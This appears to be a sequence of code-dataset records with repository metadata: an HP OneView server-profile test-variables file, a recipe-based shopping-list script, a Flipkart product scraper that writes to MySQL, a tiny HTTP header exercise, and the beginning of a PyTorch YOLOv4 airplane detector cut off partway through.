'name': 'CI-FIT-17_Bay9-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 10', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay10-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 11', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay11-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 12', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay12-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 13', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay13-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 14', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay14-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 15', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay15-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-17, bay 16', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-17', 'enclosureGroupUri': 'EG:FF-8FC20', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-17_Bay16-BL465cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3997', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-3-A', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2', 'requestedMbps': '2500', 'networkUri': 'FC:SAN-4-B', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, ] true = True false = False rc = {'200': 200, '201': 201, '202': 202, '400': 400, '401': 401, '403': 403, '412': 412, '500': 500} ######################################## default_variables = {'admin_credentials': admin_credentials, 'appliance': appliance, 'enc': enc, 'enc_group': enc_group, 'ethernet_networks': ethernet_networks, 'ethernet_ranges': ethernet_ranges, 'fc_networks': fc_networks, 'licenses': licenses, 'ligs': ligs, 'network_sets': network_sets, # 'network_set_ranges': network_set_ranges, 'ranges': ranges, 'rc': rc, 'server_profiles': server_profiles, 'uplink_sets': uplink_sets, 'users': users, 'timeandlocale': timeandlocale, 'true': true, 'false': false, 'vcenter': vcenter} def get_variables(): variables = default_variables return variables
[ "akul@SAC0MKUVCQ.asiapacific.hpqcorp.net" ]
akul@SAC0MKUVCQ.asiapacific.hpqcorp.net
d0c93cdd8bcd4374ed94c2afefcde32eddf2f5d2
33c83aeb4191fe8e86406ee3b5430b18b32d114e
/shop_list.py
7bc091f9b540d01107b8713a63cb7b848cbe3a55
[]
no_license
ZhuravlevaOlga/Shop_list
244ee54e7da317528bfa77fbcc914cc1808ed206
4b78d15f95c142fce79b47feb5baa7ad5d1a9fd8
refs/heads/master
2020-04-24T09:33:14.157885
2019-02-21T12:15:30
2019-02-21T12:15:30
171,865,941
0
0
null
null
null
null
UTF-8
Python
false
false
2,790
py
def forming_cook_book(): # формирует словарь с рецептами берет данные из файла with open('cook_book', encoding='utf-8') as f: cook_book = {} # создаем пустую книгу рецептов for line in f: # читаем строки из файла с рецептами dish = line.strip().lower() # первая строка это блюдо f.readline() # следующую строку пропускаем string = f.readline().strip() # следующая строка это ингридиент ingredients = [] # создаем список словарей всех ингридиентов блюда while string != '': # пока не дойдем до пустой строки i = string.split('|') # переводим строку ингридиента в список ingredient = {'ingredient_name': i[0], 'quantity': i[1], 'measure': i[2]} # создаем словарь одного ингридиента ingredients.append(ingredient) # записываем ингридиент в список ингридиентов блюда cook_book[dish] = ingredients # формируем словарь рецептов - ключ это блюдо, значение - список ингридиентов string = f.readline().strip() # читаем следующую строку с иегридиентом return cook_book def get_shop_list_by_dishes(dishes, person_count): shop_list = {} cook_book = forming_cook_book() for dish in dishes: for ingredient in cook_book[dish]: new_shop_list_item = dict(ingredient) new_shop_list_item['quantity'] = int(new_shop_list_item['quantity'])*person_count if new_shop_list_item['ingredient_name'] not in shop_list: shop_list[new_shop_list_item['ingredient_name']] = new_shop_list_item else: shop_list[new_shop_list_item['ingredient_name']]['quantity'] += new_shop_list_item['quantity'] return shop_list def print_shop_list(shop_list): for shop_list_item in shop_list.values(): print('{} {} {}'.format(shop_list_item['ingredient_name'], shop_list_item['quantity'], shop_list_item['measure'])) def create_shop_list(): person_count = int(input('Введите количество человек: ')) dishes = input('Введите блюда в расчете на одного человека (через запятую): ').lower().split(', ') shop_list = get_shop_list_by_dishes(dishes, person_count) print_shop_list(shop_list) create_shop_list()
[ "olya-8507@mail.ru" ]
olya-8507@mail.ru
3ebaf609a8ffeb59695949f05d22195040cfa9cb
5068fd40502a09f3ba7d34de7e60b0d1e48a5f9e
/fkart.py
906768c36004b29b2432b22846f7e393a4628bda
[]
no_license
ishvaram/Python-connectors
3fbb9246b443d4fc7bdc53256f5f8f7ab8d34f86
66079d1d0b80a06fe20beda9b9a475c07be4cf88
refs/heads/master
2021-01-18T23:59:47.447494
2017-11-27T07:24:40
2017-11-27T07:24:40
47,703,004
4
1
null
null
null
null
UTF-8
Python
false
false
3,178
py
from bs4 import BeautifulSoup import sys import os import urllib2 import itertools import requests import MySQLdb import json import simplejson as json conn=MySQLdb.connect (host ="localhost",user="root",passwd="root",db="flipkart") product = raw_input("Enter product name: ") product = product.replace(' ', '+') opener = urllib2.build_opener() opener.addheaders = [('User-agent', 'Mozilla/5.0')] content = opener.open('http://www.flipkart.com/search?otracker=start&q='+product).read() soup1 = BeautifulSoup(content) link = ["http://www.flipkart.com" + x.find('a')['href'] for x in soup1.find('div','old-grid').findAll('div','pu-title fk-font-13')] # outfile = open("./flipkartmobiles.csv", "wb") # writer = csv.writer(outfile) # writer.writerow(["Title","price","keyFeatures","specs"]) for data in link: #links = url.find('a')['href'] #print ("http://www.flipkart.com"+links) # print (" ") #for data in links: raw = opener.open(data).read() soup = BeautifulSoup(raw) title = soup.findAll('h1','title') for eachitem in title: name1 = eachitem.text.strip().encode('utf-8') name1 = "'"+name1+"'" price = soup.findAll('span','selling-price omniture-field') for eachprice in price: price1 = eachprice.text.strip().encode('utf-8') price1 = "'"+price1+"'" keyfeat12 = {} keyfeatures = soup.findAll('div','keyFeatures specSection') for keys in keyfeatures: keyfeat = keys.text.strip().encode('utf-8') keyfeat12 = "'"+keyfeat+"'" main_dict = {} soup = BeautifulSoup(requests.get(data).text) Specification = soup.findAll('table','specTable') #Specification.findAll('tr',recursive=False) [main_dict.update(x) for x in [dict([tuple([y.renderContents().strip() for y in x.findAll('td')]) for x in Spec.findAll('tr') if len(x.findAll('td'))==2]) for Spec in Specification]] cursore=conn.cursor() datum="insert into fkartmobile (name,price,keyfeatures,specs,url) values (%s , %s , %s , %s, %s)" cursore.execute(datum,(name1,price1,json.dumps(keyfeat12),json.dumps(main_dict),data)) conn.commit() # print key = data.findAll('td')[0] # value = data.findAll('td')[1] # print d[key] = d[value] # print(" ") # results.append(d) # print d # for keys in Specification: # for key in keys: # for data in key: # print data # print(" ") # keyFeatures = soup.findAll('div',class_='keyFeatures specSection') # for keys in keyFeatures: # print keys.getText() # print(" ") # print('Product title : '+ str(title)) # print ('Product Price : ' + str(price)) # print(" ") # print ('Product Specs : ' + str(Specification)) # print(" ") # print ('Product keyFeatures : ' + str(keyFeatures))
[ "jehovaram@gmail.com" ]
jehovaram@gmail.com
243e12cea1928f4024ea0d1bbd062a8b27808eb6
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/avBHBMAwf9ibDpfNM_17.py
90a9250d618305bcb7990c7a48831401227015ca
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
122
py
import requests def content_type(url): r = requests.get('https://edabit.com/') return r.headers['content-type']
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
baff51d7ec143513a40da32f04cfa38307c90399
3b9e0fd3325ff98b570fa803fcec3b04ff38ad73
/yolo.py
80ae86f423721a3166c902046eb6b73746a213ec
[]
no_license
YHJACK/Airplane-detection
bd5e1d3f1e8bc0c258b7f980914c8017704db283
1b735a5d7a09e9d3b7bd933ceae211edaf6624bf
refs/heads/main
2023-08-01T15:00:33.556711
2021-09-16T13:08:55
2021-09-16T13:08:55
407,168,528
1
0
null
null
null
null
UTF-8
Python
false
false
7,477
py
#-------------------------------------# # 创建YOLO类 #-------------------------------------# import cv2 import numpy as np import colorsys import os import torch import torch.nn as nn from nets.yolo4 import YoloBody import torch.backends.cudnn as cudnn from PIL import Image,ImageFont, ImageDraw from torch.autograd import Variable from utils.utils import non_max_suppression, bbox_iou, DecodeBox,letterbox_image,yolo_correct_boxes #--------------------------------------------# # 使用自己训练好的模型预测需要修改2个参数 # model_path和classes_path都需要修改! #--------------------------------------------# class YOLO(object): _defaults = { "model_path": 'model_data/Epoch15-Total_Loss20.9436-Val_Loss32.8962.pth', "anchors_path": 'model_data/yolo_anchors.txt', "classes_path": 'model_data/plane.txt', "model_image_size" : (224, 224, 3), "confidence": 0.02, "iou" : 0.01, "cuda": True } @classmethod def get_defaults(cls, n): if n in cls._defaults: return cls._defaults[n] else: return "Unrecognized attribute name '" + n + "'" #---------------------------------------------------# # 初始化YOLO #---------------------------------------------------# def __init__(self, **kwargs): self.__dict__.update(self._defaults) self.class_names = self._get_class() self.anchors = self._get_anchors() self.generate() self.a=0 #---------------------------------------------------# # 获得所有的分类 #---------------------------------------------------# def _get_class(self): classes_path = os.path.expanduser(self.classes_path) with open(classes_path) as f: class_names = f.readlines() class_names = [c.strip() for c in class_names] return class_names #---------------------------------------------------# # 获得所有的先验框 #---------------------------------------------------# def _get_anchors(self): anchors_path = os.path.expanduser(self.anchors_path) with open(anchors_path) as f: anchors = f.readline() anchors = [float(x) for x in anchors.split(',')] return np.array(anchors).reshape([-1, 3, 2])[::-1,:,:] #---------------------------------------------------# # 获得所有的分类 #---------------------------------------------------# def generate(self): self.net = 